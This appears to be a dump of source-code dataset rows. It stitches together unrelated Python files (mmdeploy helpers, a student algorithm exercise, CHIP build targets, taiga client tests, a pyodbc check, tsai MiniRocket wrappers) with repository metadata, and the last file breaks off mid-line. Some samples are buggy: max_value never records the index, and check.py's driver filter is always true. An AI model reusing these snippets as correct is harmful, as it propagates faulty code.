pred[np.argsort(pred[:, 0])][np.newaxis, :, 1] def get_classes_from_config(model_cfg: Union[str, mmcv.Config]): model_cfg = load_config(model_cfg)[0] module_dict = DATASETS.module_dict data_cfg = model_cfg.data if 'train' in data_cfg: module = module_dict[data_cfg.train.type] elif 'val' in data_cfg: module = module_dict[data_cfg.val.type] elif 'test' in data_cfg: module = module_dict[data_cfg.test.type] else: raise RuntimeError(f'No dataset config found in: {model_cfg}') return module.CLASSES def build_classification_model(model_files: Sequence[str], model_cfg: Union[str, mmcv.Config], deploy_cfg: Union[str, mmcv.Config], device: str, **kwargs): deploy_cfg, model_cfg = load_config(deploy_cfg, model_cfg) backend = get_backend(deploy_cfg) model_type = get_codebase_config(deploy_cfg).get('model_type', 'end2end') class_names = get_classes_from_config(model_cfg) backend_classifier = __BACKEND_MODEL.build( model_type, backend=backend, backend_files=model_files, device=device, class_names=class_names, deploy_cfg=deploy_cfg, **kwargs) return backend_classifier
true
true
f7f3bc31701fc54ea3a0a1bc6918faf435fdbc43
1,684
py
Python
s1_algotools.py
parafeu/USMB-Public
0073ea97eecd148f3212c67fc2564ee01dfe061e
[ "MIT" ]
null
null
null
s1_algotools.py
parafeu/USMB-Public
0073ea97eecd148f3212c67fc2564ee01dfe061e
[ "MIT" ]
null
null
null
s1_algotools.py
parafeu/USMB-Public
0073ea97eecd148f3212c67fc2564ee01dfe061e
[ "MIT" ]
null
null
null
def average_above_zero(tab): """ brief: computes the average of the lists Args: tab: a list of numeric values, expects at least one positive values Return: the computed average Raises: ValueError if no positive value is found """ if not(isinstance(tab, list)): raise ValueError('Expected a list as input') average=-99 valSum=0.0 nPositiveValues=0 for val in tab: if val > 0: valSum+=float(val) nPositiveValues+=1 if nPositiveValues <= 0: raise ValueError('No positive value found') average=valSum/nPositiveValues return average def max_value(tab): """ brief: get the maximum value of the list Args: tab: a list of numeric values, expects at least one positive values Return: the maximum value of the list the index of maximum value Raises: ValueError if no positive value is found """ maxValue=0 maxValueIndex=-99 nPositiveValues=0 i=0 if not(isinstance(tab, list)): raise ValueError('Expected a list as input') while i < len(tab): if tab[i] > 0: nPositiveValues+=1 if tab[i] > maxValue: maxValue=tab[i] i+=1 if nPositiveValues <= 0: raise ValueError('No positive value found') return [maxValue, maxValueIndex] #test script for fct average_above_zero testTab=[1, 2, 3, -5] #create a fake tab moy=average_above_zero(testTab) max=max_value(testTab) print('Positive values average = {val}'.format(val=moy)) print('Max value = {val}, index = {id}'.format(val=max[0], id=max[1]))
25.134328
75
0.61639
def average_above_zero(tab): if not(isinstance(tab, list)): raise ValueError('Expected a list as input') average=-99 valSum=0.0 nPositiveValues=0 for val in tab: if val > 0: valSum+=float(val) nPositiveValues+=1 if nPositiveValues <= 0: raise ValueError('No positive value found') average=valSum/nPositiveValues return average def max_value(tab): maxValue=0 maxValueIndex=-99 nPositiveValues=0 i=0 if not(isinstance(tab, list)): raise ValueError('Expected a list as input') while i < len(tab): if tab[i] > 0: nPositiveValues+=1 if tab[i] > maxValue: maxValue=tab[i] i+=1 if nPositiveValues <= 0: raise ValueError('No positive value found') return [maxValue, maxValueIndex] testTab=[1, 2, 3, -5] moy=average_above_zero(testTab) max=max_value(testTab) print('Positive values average = {val}'.format(val=moy)) print('Max value = {val}, index = {id}'.format(val=max[0], id=max[1]))
true
true
f7f3bc408866f4c3aa3fc727622abaded05b49fa
7,130
py
Python
scripts/build/build/targets.py
Mu-L/connectedhomeip
563e0e353ff06061c84a14699908865715457856
[ "Apache-2.0" ]
3,495
2020-07-01T18:09:38.000Z
2022-03-31T07:08:15.000Z
scripts/build/build/targets.py
Mu-L/connectedhomeip
563e0e353ff06061c84a14699908865715457856
[ "Apache-2.0" ]
11,929
2020-07-01T18:23:58.000Z
2022-03-31T23:58:37.000Z
scripts/build/build/targets.py
Mu-L/connectedhomeip
563e0e353ff06061c84a14699908865715457856
[ "Apache-2.0" ]
832
2020-07-01T18:33:16.000Z
2022-03-31T07:41:55.000Z
# Copyright (c) 2021 Project CHIP Authors # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. import os from builders.android import AndroidBoard, AndroidApp, AndroidBuilder from builders.efr32 import Efr32Builder, Efr32App, Efr32Board from builders.esp32 import Esp32Builder, Esp32Board, Esp32App from builders.host import HostBuilder, HostApp, HostBoard from builders.nrf import NrfApp, NrfBoard, NrfConnectBuilder from builders.qpg import QpgBuilder from builders.infineon import InfineonBuilder, InfineonApp, InfineonBoard from builders.telink import TelinkApp, TelinkBoard, TelinkBuilder from builders.tizen import TizenApp, TizenBoard, TizenBuilder from builders.ameba import AmebaApp, AmebaBoard, AmebaBuilder class Target: """Represents a build target: Has a name identifier plus parameters on how to build it (what builder class to use and what arguments are required to produce the specified build) """ def __init__(self, name, builder_class, **kwargs): self.name = name self.builder_class = builder_class self.create_kw_args = kwargs def Extend(self, suffix, **kargs): """Creates a clone of the current object extending its build parameters. Arguments: suffix: appended with a "-" as separator to the clone name **kargs: arguments needed to produce the new build variant """ clone = Target(self.name, self.builder_class, **self.create_kw_args.copy()) clone.name += "-" + suffix clone.create_kw_args.update(kargs) return clone def Create(self, runner, repository_path: str, output_prefix: str, enable_flashbundle: bool): builder = self.builder_class( repository_path, runner=runner, **self.create_kw_args) builder.identifier = self.name builder.output_dir = os.path.join(output_prefix, self.name) builder.enable_flashbundle(enable_flashbundle) return builder def HostTargets(): target = Target(HostBoard.NATIVE.PlatformName(), HostBuilder) targets = [ target.Extend(HostBoard.NATIVE.BoardName(), board=HostBoard.NATIVE) ] # x64 linux supports cross compile if (HostBoard.NATIVE.PlatformName() == 'linux') and ( HostBoard.NATIVE.BoardName() != HostBoard.ARM64.BoardName()): targets.append(target.Extend('arm64', board=HostBoard.ARM64)) app_targets = [] for target in targets: app_targets.append(target.Extend( 'all-clusters', app=HostApp.ALL_CLUSTERS)) app_targets.append(target.Extend('chip-tool', app=HostApp.CHIP_TOOL)) app_targets.append(target.Extend('thermostat', app=HostApp.THERMOSTAT)) for target in app_targets: yield target yield target.Extend('ipv6only', enable_ipv4=False) def Esp32Targets(): esp32_target = Target('esp32', Esp32Builder) yield esp32_target.Extend('m5stack-all-clusters', board=Esp32Board.M5Stack, app=Esp32App.ALL_CLUSTERS) yield esp32_target.Extend('m5stack-all-clusters-ipv6only', board=Esp32Board.M5Stack, app=Esp32App.ALL_CLUSTERS, enable_ipv4=False) yield esp32_target.Extend('c3devkit-all-clusters', board=Esp32Board.C3DevKit, app=Esp32App.ALL_CLUSTERS) devkitc = esp32_target.Extend('devkitc', board=Esp32Board.DevKitC) yield devkitc.Extend('all-clusters', app=Esp32App.ALL_CLUSTERS) yield devkitc.Extend('all-clusters-ipv6only', app=Esp32App.ALL_CLUSTERS, enable_ipv4=False) yield devkitc.Extend('shell', app=Esp32App.SHELL) yield devkitc.Extend('lock', app=Esp32App.LOCK) yield devkitc.Extend('bridge', app=Esp32App.BRIDGE) yield devkitc.Extend('temperature-measurement', app=Esp32App.TEMPERATURE_MEASUREMENT) def Efr32Targets(): efr_target = Target('efr32-brd4161a', Efr32Builder, board=Efr32Board.BRD4161A) yield efr_target.Extend('window-covering', app=Efr32App.WINDOW_COVERING) yield efr_target.Extend('lock', app=Efr32App.LOCK) rpc_aware_targets = [ efr_target.Extend('light', app=Efr32App.LIGHT), ] for target in rpc_aware_targets: yield target yield target.Extend('rpc', enable_rpcs=True) def NrfTargets(): target = Target('nrf', NrfConnectBuilder) targets = [ target.Extend('nrf5340', board=NrfBoard.NRF5340), target.Extend('nrf52840', board=NrfBoard.NRF52840), ] for target in targets: yield target.Extend('lock', app=NrfApp.LOCK) yield target.Extend('light', app=NrfApp.LIGHT) yield target.Extend('shell', app=NrfApp.SHELL) yield target.Extend('pump', app=NrfApp.PUMP) yield target.Extend('pump-controller', app=NrfApp.PUMP_CONTROLLER) def AndroidTargets(): target = Target('android', AndroidBuilder) yield target.Extend('arm-chip-tool', board=AndroidBoard.ARM, app=AndroidApp.CHIP_TOOL) yield target.Extend('arm64-chip-tool', board=AndroidBoard.ARM64, app=AndroidApp.CHIP_TOOL) yield target.Extend('x64-chip-tool', board=AndroidBoard.X64, app=AndroidApp.CHIP_TOOL) yield target.Extend('x86-chip-tool', board=AndroidBoard.X86, app=AndroidApp.CHIP_TOOL) yield target.Extend('arm64-chip-test', board=AndroidBoard.ARM64, app=AndroidApp.CHIP_TEST) # TODO: android studio build is broken: # - When compile succeeds, build artifact copy fails with "No such file or # directory: '<out_prefix>/android-androidstudio-chip-tool/outputs/apk/debug/app-debug.apk' # - Compiling locally in the vscode image fails with # "2 files found with path 'lib/armeabi-v7a/libCHIPController.so'" # yield target.Extend('androidstudio-chip-tool', board=AndroidBoard.AndroidStudio, app=AndroidApp.CHIP_TOOL) ALL = [] target_generators = [ HostTargets(), Esp32Targets(), Efr32Targets(), NrfTargets(), AndroidTargets(), ] for generator in target_generators: for target in generator: ALL.append(target) # Simple targets added one by one ALL.append(Target('qpg-qpg6100-lock', QpgBuilder)) ALL.append(Target('telink-tlsr9518adk80d-light', TelinkBuilder, board=TelinkBoard.TLSR9518ADK80D, app=TelinkApp.LIGHT)) ALL.append(Target('infineon-p6-lock', InfineonBuilder, board=InfineonBoard.P6BOARD, app=InfineonApp.LOCK)) ALL.append(Target('tizen-arm-light', TizenBuilder, board=TizenBoard.ARM, app=TizenApp.LIGHT)) ALL.append(Target('ameba-amebad-all-clusters', AmebaBuilder, board=AmebaBoard.AMEBAD, app=AmebaApp.ALL_CLUSTERS)) # have a consistent order overall ALL.sort(key=lambda t: t.name)
39.392265
134
0.715288
import os from builders.android import AndroidBoard, AndroidApp, AndroidBuilder from builders.efr32 import Efr32Builder, Efr32App, Efr32Board from builders.esp32 import Esp32Builder, Esp32Board, Esp32App from builders.host import HostBuilder, HostApp, HostBoard from builders.nrf import NrfApp, NrfBoard, NrfConnectBuilder from builders.qpg import QpgBuilder from builders.infineon import InfineonBuilder, InfineonApp, InfineonBoard from builders.telink import TelinkApp, TelinkBoard, TelinkBuilder from builders.tizen import TizenApp, TizenBoard, TizenBuilder from builders.ameba import AmebaApp, AmebaBoard, AmebaBuilder class Target: def __init__(self, name, builder_class, **kwargs): self.name = name self.builder_class = builder_class self.create_kw_args = kwargs def Extend(self, suffix, **kargs): clone = Target(self.name, self.builder_class, **self.create_kw_args.copy()) clone.name += "-" + suffix clone.create_kw_args.update(kargs) return clone def Create(self, runner, repository_path: str, output_prefix: str, enable_flashbundle: bool): builder = self.builder_class( repository_path, runner=runner, **self.create_kw_args) builder.identifier = self.name builder.output_dir = os.path.join(output_prefix, self.name) builder.enable_flashbundle(enable_flashbundle) return builder def HostTargets(): target = Target(HostBoard.NATIVE.PlatformName(), HostBuilder) targets = [ target.Extend(HostBoard.NATIVE.BoardName(), board=HostBoard.NATIVE) ] if (HostBoard.NATIVE.PlatformName() == 'linux') and ( HostBoard.NATIVE.BoardName() != HostBoard.ARM64.BoardName()): targets.append(target.Extend('arm64', board=HostBoard.ARM64)) app_targets = [] for target in targets: app_targets.append(target.Extend( 'all-clusters', app=HostApp.ALL_CLUSTERS)) app_targets.append(target.Extend('chip-tool', app=HostApp.CHIP_TOOL)) app_targets.append(target.Extend('thermostat', app=HostApp.THERMOSTAT)) for target in app_targets: yield target yield target.Extend('ipv6only', enable_ipv4=False) def Esp32Targets(): esp32_target = Target('esp32', Esp32Builder) yield esp32_target.Extend('m5stack-all-clusters', board=Esp32Board.M5Stack, app=Esp32App.ALL_CLUSTERS) yield esp32_target.Extend('m5stack-all-clusters-ipv6only', board=Esp32Board.M5Stack, app=Esp32App.ALL_CLUSTERS, enable_ipv4=False) yield esp32_target.Extend('c3devkit-all-clusters', board=Esp32Board.C3DevKit, app=Esp32App.ALL_CLUSTERS) devkitc = esp32_target.Extend('devkitc', board=Esp32Board.DevKitC) yield devkitc.Extend('all-clusters', app=Esp32App.ALL_CLUSTERS) yield devkitc.Extend('all-clusters-ipv6only', app=Esp32App.ALL_CLUSTERS, enable_ipv4=False) yield devkitc.Extend('shell', app=Esp32App.SHELL) yield devkitc.Extend('lock', app=Esp32App.LOCK) yield devkitc.Extend('bridge', app=Esp32App.BRIDGE) yield devkitc.Extend('temperature-measurement', app=Esp32App.TEMPERATURE_MEASUREMENT) def Efr32Targets(): efr_target = Target('efr32-brd4161a', Efr32Builder, board=Efr32Board.BRD4161A) yield efr_target.Extend('window-covering', app=Efr32App.WINDOW_COVERING) yield efr_target.Extend('lock', app=Efr32App.LOCK) rpc_aware_targets = [ efr_target.Extend('light', app=Efr32App.LIGHT), ] for target in rpc_aware_targets: yield target yield target.Extend('rpc', enable_rpcs=True) def NrfTargets(): target = Target('nrf', NrfConnectBuilder) targets = [ target.Extend('nrf5340', board=NrfBoard.NRF5340), target.Extend('nrf52840', board=NrfBoard.NRF52840), ] for target in targets: yield target.Extend('lock', app=NrfApp.LOCK) yield target.Extend('light', app=NrfApp.LIGHT) yield target.Extend('shell', app=NrfApp.SHELL) yield target.Extend('pump', app=NrfApp.PUMP) yield target.Extend('pump-controller', app=NrfApp.PUMP_CONTROLLER) def AndroidTargets(): target = Target('android', AndroidBuilder) yield target.Extend('arm-chip-tool', board=AndroidBoard.ARM, app=AndroidApp.CHIP_TOOL) yield target.Extend('arm64-chip-tool', board=AndroidBoard.ARM64, app=AndroidApp.CHIP_TOOL) yield target.Extend('x64-chip-tool', board=AndroidBoard.X64, app=AndroidApp.CHIP_TOOL) yield target.Extend('x86-chip-tool', board=AndroidBoard.X86, app=AndroidApp.CHIP_TOOL) yield target.Extend('arm64-chip-test', board=AndroidBoard.ARM64, app=AndroidApp.CHIP_TEST) # directory: '<out_prefix>/android-androidstudio-chip-tool/outputs/apk/debug/app-debug.apk' # - Compiling locally in the vscode image fails with # "2 files found with path 'lib/armeabi-v7a/libCHIPController.so'" # yield target.Extend('androidstudio-chip-tool', board=AndroidBoard.AndroidStudio, app=AndroidApp.CHIP_TOOL) ALL = [] target_generators = [ HostTargets(), Esp32Targets(), Efr32Targets(), NrfTargets(), AndroidTargets(), ] for generator in target_generators: for target in generator: ALL.append(target) # Simple targets added one by one ALL.append(Target('qpg-qpg6100-lock', QpgBuilder)) ALL.append(Target('telink-tlsr9518adk80d-light', TelinkBuilder, board=TelinkBoard.TLSR9518ADK80D, app=TelinkApp.LIGHT)) ALL.append(Target('infineon-p6-lock', InfineonBuilder, board=InfineonBoard.P6BOARD, app=InfineonApp.LOCK)) ALL.append(Target('tizen-arm-light', TizenBuilder, board=TizenBoard.ARM, app=TizenApp.LIGHT)) ALL.append(Target('ameba-amebad-all-clusters', AmebaBuilder, board=AmebaBoard.AMEBAD, app=AmebaApp.ALL_CLUSTERS)) # have a consistent order overall ALL.sort(key=lambda t: t.name)
true
true
f7f3bc8559ccac4d00610abecb49e2598c5dbd7a
3,084
py
Python
tests/test_tasks.py
annettekurian/python-taiga
5d5897fe3be01f06d434d649bc7dd7dc76fe28a1
[ "MIT" ]
null
null
null
tests/test_tasks.py
annettekurian/python-taiga
5d5897fe3be01f06d434d649bc7dd7dc76fe28a1
[ "MIT" ]
1
2018-05-27T11:37:47.000Z
2018-05-27T11:41:49.000Z
tests/test_tasks.py
annettekurian/python-taiga
5d5897fe3be01f06d434d649bc7dd7dc76fe28a1
[ "MIT" ]
null
null
null
import unittest import six from mock import patch from tests.tools import MockResponse, create_mock_json from taiga.exceptions import TaigaException from taiga.models import Task, Tasks from taiga.requestmaker import RequestMaker if six.PY2: import_open = '__builtin__.open' else: import_open = 'builtins.open' class TestTasks(unittest.TestCase): @patch('taiga.requestmaker.RequestMaker.get') def test_list_attachments(self, mock_requestmaker_get): mock_requestmaker_get.return_value = MockResponse( 200, create_mock_json('tests/resources/tasks_list_success.json') ) rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') Task(rm, id=1).list_attachments() mock_requestmaker_get.assert_called_with( 'tasks/attachments', query={"object_id": 1}, paginate=True ) @patch(import_open) @patch('taiga.models.base.ListResource._new_resource') def test_file_attach(self, mock_new_resource, mock_open): fd = open('tests/resources/tasks_list_success.json') mock_open.return_value = fd rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) task.attach('tests/resources/tasks_list_success.json') mock_new_resource.assert_called_with( files={'attached_file': fd}, payload={'project': 1, 'object_id': 1} ) @patch('taiga.models.base.ListResource._new_resource') def test_open_file_attach(self, mock_new_resource): fd = open('tests/resources/tasks_list_success.json') rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) task.attach(fd) mock_new_resource.assert_called_with( files={'attached_file': fd}, payload={'project': 1, 'object_id': 1} ) def test_not_existing_file_attach(self): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) self.assertRaises(TaigaException, task.attach, 'not-existing-file') def test_not_valid_type_file_attach(self): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) self.assertRaises(TaigaException, task.attach, 4) @patch('taiga.requestmaker.RequestMaker.post') def test_import_task(self, mock_requestmaker_post): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') Tasks(rm).import_(1, 'Subject', 'New') mock_requestmaker_post.assert_called_with( '/{endpoint}/{id}/{type}', endpoint='importer', payload={ 'project': 1, 'subject': 'Subject', 'status': 'New' }, id=1, type='task' ) @patch('taiga.models.base.InstanceResource.update') def test_add_comment(self, mock_update): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1) task.add_comment('hola') mock_update.assert_called_with( comment='hola' )
36.282353
76
0.644617
import unittest import six from mock import patch from tests.tools import MockResponse, create_mock_json from taiga.exceptions import TaigaException from taiga.models import Task, Tasks from taiga.requestmaker import RequestMaker if six.PY2: import_open = '__builtin__.open' else: import_open = 'builtins.open' class TestTasks(unittest.TestCase): @patch('taiga.requestmaker.RequestMaker.get') def test_list_attachments(self, mock_requestmaker_get): mock_requestmaker_get.return_value = MockResponse( 200, create_mock_json('tests/resources/tasks_list_success.json') ) rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') Task(rm, id=1).list_attachments() mock_requestmaker_get.assert_called_with( 'tasks/attachments', query={"object_id": 1}, paginate=True ) @patch(import_open) @patch('taiga.models.base.ListResource._new_resource') def test_file_attach(self, mock_new_resource, mock_open): fd = open('tests/resources/tasks_list_success.json') mock_open.return_value = fd rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) task.attach('tests/resources/tasks_list_success.json') mock_new_resource.assert_called_with( files={'attached_file': fd}, payload={'project': 1, 'object_id': 1} ) @patch('taiga.models.base.ListResource._new_resource') def test_open_file_attach(self, mock_new_resource): fd = open('tests/resources/tasks_list_success.json') rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) task.attach(fd) mock_new_resource.assert_called_with( files={'attached_file': fd}, payload={'project': 1, 'object_id': 1} ) def test_not_existing_file_attach(self): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) self.assertRaises(TaigaException, task.attach, 'not-existing-file') def test_not_valid_type_file_attach(self): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1, project=1) self.assertRaises(TaigaException, task.attach, 4) @patch('taiga.requestmaker.RequestMaker.post') def test_import_task(self, mock_requestmaker_post): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') Tasks(rm).import_(1, 'Subject', 'New') mock_requestmaker_post.assert_called_with( '/{endpoint}/{id}/{type}', endpoint='importer', payload={ 'project': 1, 'subject': 'Subject', 'status': 'New' }, id=1, type='task' ) @patch('taiga.models.base.InstanceResource.update') def test_add_comment(self, mock_update): rm = RequestMaker('/api/v1', 'fakehost', 'faketoken') task = Task(rm, id=1) task.add_comment('hola') mock_update.assert_called_with( comment='hola' )
true
true
f7f3bc8a04d35bd1514192602a898918d84f95fc
118
py
Python
check.py
ortegamarinavitancol/OOP-58003
e4b5ab6b35e738c2f5ca9f21c668887a4a43261b
[ "Apache-2.0" ]
null
null
null
check.py
ortegamarinavitancol/OOP-58003
e4b5ab6b35e738c2f5ca9f21c668887a4a43261b
[ "Apache-2.0" ]
null
null
null
check.py
ortegamarinavitancol/OOP-58003
e4b5ab6b35e738c2f5ca9f21c668887a4a43261b
[ "Apache-2.0" ]
null
null
null
import pyodbc msa_drivers = [x for x in pyodbc.drivers() if 'access'] print(f'MS-ACCESS Drivers: {msa_drivers}')
23.6
56
0.70339
import pyodbc msa_drivers = [x for x in pyodbc.drivers() if 'access'] print(f'MS-ACCESS Drivers: {msa_drivers}')
true
true
f7f3bd234f46c57f2902c73e9820ed589d7d3dc8
8,897
py
Python
tsai/models/MINIROCKET.py
tcapelle/tsai
36a2f704abf174515c55115832f08ea2d9753e14
[ "Apache-2.0" ]
null
null
null
tsai/models/MINIROCKET.py
tcapelle/tsai
36a2f704abf174515c55115832f08ea2d9753e14
[ "Apache-2.0" ]
null
null
null
tsai/models/MINIROCKET.py
tcapelle/tsai
36a2f704abf174515c55115832f08ea2d9753e14
[ "Apache-2.0" ]
null
null
null
# AUTOGENERATED! DO NOT EDIT! File to edit: nbs/111b_models.MINIROCKET.ipynb (unless otherwise specified). __all__ = ['MiniRocketClassifier', 'load_minirocket', 'MiniRocketRegressor', 'load_minirocket', 'MiniRocketVotingClassifier', 'get_minirocket_preds', 'MiniRocketVotingRegressor'] # Cell import sklearn from sklearn.metrics import make_scorer from sklearn.linear_model import RidgeCV, RidgeClassifierCV from sklearn.ensemble import VotingClassifier, VotingRegressor from ..imports import * from ..utils import * from ..data.external import * from .layers import * warnings.simplefilter(action='ignore', category=FutureWarning) # Cell class MiniRocketClassifier(sklearn.pipeline.Pipeline): """Time series classification using MINIROCKET features and a linear classifier""" def __init__(self, num_features=10_000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), normalize_features=True, memory=None, verbose=False, scoring=None, class_weight=None, **kwargs): """ MiniRocketClassifier is recommended for up to 10k time series. For a larger dataset, you can use MINIROCKET (in Pytorch). scoring = None --> defaults to accuracy. """ # Issue caused by sktime when upgraded 0.9.0 (changed num_features to num_kernels was resolved by # Siva Sai (SivaAndMe in GiHub)https://github.com/timeseriesAI/tsai/pull/306) try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketClassifier") self.steps = [('minirocketmultivariate', MiniRocketMultivariate(num_kernels=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state)), ('ridgeclassifiercv', RidgeClassifierCV(alphas=alphas, normalize=normalize_features, scoring=scoring, class_weight=class_weight, **kwargs))] store_attr() self._validate_steps() def __repr__(self): return f'Pipeline(steps={self.steps.copy()})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketClassifier') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL) # Cell def load_minirocket(fname, path='./models'): path = Path(path) filename = path/fname with open(f'{filename}.pkl', 'rb') as input: output = pickle.load(input) return output # Cell class MiniRocketRegressor(sklearn.pipeline.Pipeline): """Time series regression using MINIROCKET features and a linear regressor""" def __init__(self, num_features=10000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), *, normalize_features=True, memory=None, verbose=False, scoring=None, **kwargs): """ MiniRocketRegressor is recommended for up to 10k time series. For a larger dataset, you can use MINIROCKET (in Pytorch). scoring = None --> defaults to r2. """ # Issue caused by sktime when upgraded 0.9.0 (changed num_features to num_kernels was resolved by # Siva Sai (SivaAndMe in GiHub)https://github.com/timeseriesAI/tsai/pull/306) try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketRegressor") self.steps = [('minirocketmultivariate', MiniRocketMultivariate(num_kernels=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state)), ('ridgecv', RidgeCV(alphas=alphas, normalize=normalize_features, scoring=scoring, **kwargs))] store_attr() self._validate_steps() def __repr__(self): return f'Pipeline(steps={self.steps.copy()})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketRegressor') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL) # Cell def load_minirocket(fname, path='./models'): path = Path(path) filename = path/fname with open(f'{filename}.pkl', 'rb') as input: output = pickle.load(input) return output # Cell class MiniRocketVotingClassifier(VotingClassifier): """Time series classification ensemble using MINIROCKET features, a linear classifier and majority voting""" def __init__(self, n_estimators=5, weights=None, n_jobs=-1, num_features=10_000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), normalize_features=True, memory=None, verbose=False, scoring=None, class_weight=None, **kwargs): store_attr() try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketVotingClassifier") estimators = [(f'est_{i}', MiniRocketClassifier(num_features=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state, alphas=alphas, normalize_features=normalize_features, memory=memory, verbose=verbose, scoring=scoring, class_weight=class_weight, **kwargs)) for i in range(n_estimators)] super().__init__(estimators, voting='hard', weights=weights, n_jobs=n_jobs, verbose=verbose) def __repr__(self): return f'MiniRocketVotingClassifier(n_estimators={self.n_estimators}, \nsteps={self.estimators[0][1].steps})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketVotingClassifier') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL) # Cell def get_minirocket_preds(X, fname, path='./models', model=None): if X.ndim == 1: X = X[np.newaxis][np.newaxis] elif X.ndim == 2: X = X[np.newaxis] if model is None: model = load_minirocket(fname=fname, path=path) return model.predict(X) # Cell class MiniRocketVotingRegressor(VotingRegressor): """Time series regression ensemble using MINIROCKET features, a linear regressor and a voting regressor""" def __init__(self, n_estimators=5, weights=None, n_jobs=-1, num_features=10_000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), normalize_features=True, memory=None, verbose=False, scoring=None, **kwargs): store_attr() try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketVotingRegressor") estimators = [(f'est_{i}', MiniRocketRegressor(num_features=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state, alphas=alphas, normalize_features=normalize_features, memory=memory, verbose=verbose, scoring=scoring, **kwargs)) for i in range(n_estimators)] super().__init__(estimators, weights=weights, n_jobs=n_jobs, verbose=verbose) def __repr__(self): return f'MiniRocketVotingRegressor(n_estimators={self.n_estimators}, \nsteps={self.estimators[0][1].steps})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketVotingRegressor') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL)
49.703911
150
0.639541
__all__ = ['MiniRocketClassifier', 'load_minirocket', 'MiniRocketRegressor', 'load_minirocket', 'MiniRocketVotingClassifier', 'get_minirocket_preds', 'MiniRocketVotingRegressor'] import sklearn from sklearn.metrics import make_scorer from sklearn.linear_model import RidgeCV, RidgeClassifierCV from sklearn.ensemble import VotingClassifier, VotingRegressor from ..imports import * from ..utils import * from ..data.external import * from .layers import * warnings.simplefilter(action='ignore', category=FutureWarning) class MiniRocketClassifier(sklearn.pipeline.Pipeline): def __init__(self, num_features=10_000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), normalize_features=True, memory=None, verbose=False, scoring=None, class_weight=None, **kwargs): try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketClassifier") self.steps = [('minirocketmultivariate', MiniRocketMultivariate(num_kernels=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state)), ('ridgeclassifiercv', RidgeClassifierCV(alphas=alphas, normalize=normalize_features, scoring=scoring, class_weight=class_weight, **kwargs))] store_attr() self._validate_steps() def __repr__(self): return f'Pipeline(steps={self.steps.copy()})' def save(self, fname=None, path='./models'): fname = ifnone(fname, 'MiniRocketClassifier') path = Path(path) filename = path/fname filename.parent.mkdir(parents=True, exist_ok=True) with open(f'{filename}.pkl', 'wb') as output: pickle.dump(self, output, pickle.HIGHEST_PROTOCOL) def load_minirocket(fname, path='./models'): path = Path(path) filename = path/fname with open(f'{filename}.pkl', 'rb') as input: output = pickle.load(input) return output class MiniRocketRegressor(sklearn.pipeline.Pipeline): def __init__(self, num_features=10000, max_dilations_per_kernel=32, random_state=None, alphas=np.logspace(-3, 3, 7), *, normalize_features=True, memory=None, verbose=False, scoring=None, **kwargs): try: import sktime from sktime.transformations.panel.rocket import MiniRocketMultivariate except ImportError: print("You need to install sktime to be able to use MiniRocketRegressor") self.steps = [('minirocketmultivariate', MiniRocketMultivariate(num_kernels=num_features, max_dilations_per_kernel=max_dilations_per_kernel, random_state=random_state)), ('ridgecv', RidgeCV(alphas=alphas, normalize=normalize_features, scoring=scoring, **kwargs))] store_attr() self._validate_steps() def __repr__(self): return 